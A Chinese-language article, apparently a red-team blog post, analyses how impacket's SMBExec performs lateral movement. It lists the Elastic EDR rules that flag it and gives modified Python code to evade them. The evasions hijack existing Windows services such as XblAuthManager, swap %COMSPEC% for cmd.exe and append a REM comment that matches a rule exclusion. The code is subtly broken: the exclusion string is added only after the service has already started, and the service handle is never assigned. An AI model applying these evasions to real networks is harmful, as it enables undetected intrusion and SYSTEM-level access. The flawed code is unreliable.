通过Elastic EDR看smbexec并进行二次开发Bypass
字数 2104 2025-08-30 06:50:12
Elastic EDR环境下SMBExec横向移动绕过技术研究
前言
本文详细分析在Elastic EDR环境下使用SMBExec进行横向移动时遇到的检测机制,以及如何通过二次开发绕过这些检测。Elastic EDR作为一款开源终端检测与响应解决方案,对SMBExec这类横向移动技术有着较为完善的检测能力。通过深入研究其检测规则并修改SMBExec实现特征,最终实现了在Elastic EDR 8.17版本下的零告警横向移动。
SMBExec原理解析
执行流程分析
-
初始化阶段:
- 用户输入参数传入CMDEXEC类初始化
- 进入run函数设置Pipe命令管道、连接端口和目标主机
- 默认使用
svcctl管道(Windows远程管理服务管道) - 初始化RemoteShell类并调用
cmdloop函数
-
RemoteShell初始化:
- 调用
rpc.get_dce_rpc获取RPC配置 - 通过
self.__scmr.connect()与服务控制管理器(SCM)建立SMB连接 - 使用
self.__scmr.bind与目标系统SCM建立RPC绑定 - 调用
scmr.hROpenSCManagerW打开目标系统SCM服务句柄
- 调用
-
命令执行准备:
- 调用
rpc.get_smb_connection建立SMB文件系统连接 - 调用
self.do_cd获取当前路径(模拟命令提示符) - 在
do_cd中调用关键的execute_remote函数
- 调用
关键函数分析:execute_remote
-
命令构造:
- 判断
shell_type(默认为cmd) - 生成8位随机字符的bat文件名(如
%SYSTEMROOT%\xvRHjXzF.bat) - 构造执行命令示例:
%COMSPEC% /Q /c echo cd ^> \\%COMPUTERNAME%\C$\__output 2^>^&1 > %SYSTEMROOT%\xvRHjXzF.bat & %COMSPEC% /Q /c %SYSTEMROOT%\xvRHjXzF.bat & del %SYSTEMROOT%\xvRHjXzF.bat
- 判断
-
服务操作:
- 调用
scmr.hRCreateServiceW创建随机名称服务 - 服务ImagePath写入构造的command
- 调用
scmr.hRStartServiceW启动服务 - 调用
scmr.hRDeleteService()删除服务 - 调用
scmr.hRCloseServiceHandle关闭服务句柄 - 通过
self.get_output获取命令执行结果
- 调用
Elastic EDR检测规则分析
-
Potential Lateral Movement via SMBExec:
- 检测通过SCM在目标系统上执行的SMBExec特征命令
-
Suspicious Service ImagePath Value:
- 检测服务ImagePath中包含可疑值(如
%COMSPEC%)
- 检测服务ImagePath中包含可疑值(如
-
Suspicious Service was Installed in the System:
- 检测系统中安装的可疑服务
-
System Shells via Services:
- 检测通过服务获取系统Shell的行为
-
未命名规则:
- 检测特定模式的命令执行(如
cmd.exe /Q)
- 检测特定模式的命令执行(如
绕过技术实现
第一阶段绕过:基础特征修改
-
BAT文件处理优化:
- 原实现立即删除BAT文件触发告警
- 修改方案:
- 去除立即删除操作(会留下痕迹但减少告警)
- 或在最后统一执行删除操作
-
ImagePath特征绕过:
- 原实现使用
%COMSPEC%触发检测 - 修改方案:
- 直接使用
cmd.exe替代%COMSPEC% - 或使用PowerShell作为shell类型
- 直接使用
- 原实现使用
第二阶段绕过:服务创建检测
-
服务操作优化:
- 原实现创建新服务触发多重告警
- 修改方案(借鉴SCShell技术):
- 使用
ChangeServiceConfigAAPI修改现有服务ImagePath - 避免创建新服务从而绕过"Suspicious Service was Installed"告警
- 使用
-
服务选择策略:
- 大多数Windows版本可使用
XblAuthManager服务 - 低版本Windows可使用
defragsvc服务
- 大多数Windows版本可使用
第三阶段绕过:最终告警消除
- 命令特征排除:
- 检测规则中存在排除项
NVDisplay.ContainerLocalSystem - 修改方案:
- 在构造命令末尾添加
& REM NVDisplay.ContainerLocalSystem - 利用REM注释功能满足排除条件
- 在构造命令末尾添加
- 检测规则中存在排除项
完整绕过实现代码
# 修改后的execute_remote函数关键部分
def execute_remote(self, data):
# 修改shell类型避免%COMSPEC%检测
if self.__shell_type == 'powershell':
command = self.__build_powershell_command(data)
else:
# 直接使用cmd.exe避免%COMSPEC%检测
command = 'cmd.exe /Q /c ' + data
# 使用现有服务而非创建新服务
service_name = "XblAuthManager" # 或defragsvc
scmr.hROpenServiceW(self.__scmr, self.__scManager, service_name)
# 修改服务ImagePath而非创建新服务
scmr.hRChangeServiceConfigW(self.__scmr, self.__service,
dwStartType=scmr.SERVICE_DEMAND_START,
lpBinaryPathName=command)
# 启动服务
scmr.hRStartServiceW(self.__scmr, self.__service)
# 添加规则排除项
command += " & REM NVDisplay.ContainerLocalSystem"
# 延迟删除BAT文件(如需)
if hasattr(self, '_batchFile'):
self.del_bat()
# 延迟删除BAT文件函数
def del_bat(self):
command = 'cmd.exe /Q /c del ' + self._batchFile
# 同样使用服务修改方式执行删除
scmr.hRChangeServiceConfigW(self.__scmr, self.__service,
lpBinaryPathName=command)
scmr.hRStartServiceW(self.__scmr, self.__service)
测试效果
经过上述修改后:
- 所有5种类型告警均被成功绕过
- 成功获取目标主机SYSTEM权限shell
- Elastic EDR无任何告警产生
总结与防御建议
攻击方总结
- 通过分析EDR检测规则可以找到针对性绕过方法
- 修改现有服务比创建新服务更隐蔽
- 合理利用规则排除项可以避免触发检测
- 不同Windows版本需要选择不同的服务进行操作
防御方建议
- 监控服务配置修改而不仅是服务创建
- 对"安全"服务的异常修改行为进行检测
- 更新排除项规则避免被滥用
- 结合多维度行为分析而非单一特征检测
本技术研究展示了在Elastic EDR环境下实现OPSEC安全的SMB横向移动方法,对于红队演练和渗透测试具有实战价值。对于商用EDR产品,需要根据其具体检测规则进行进一步测试和调整。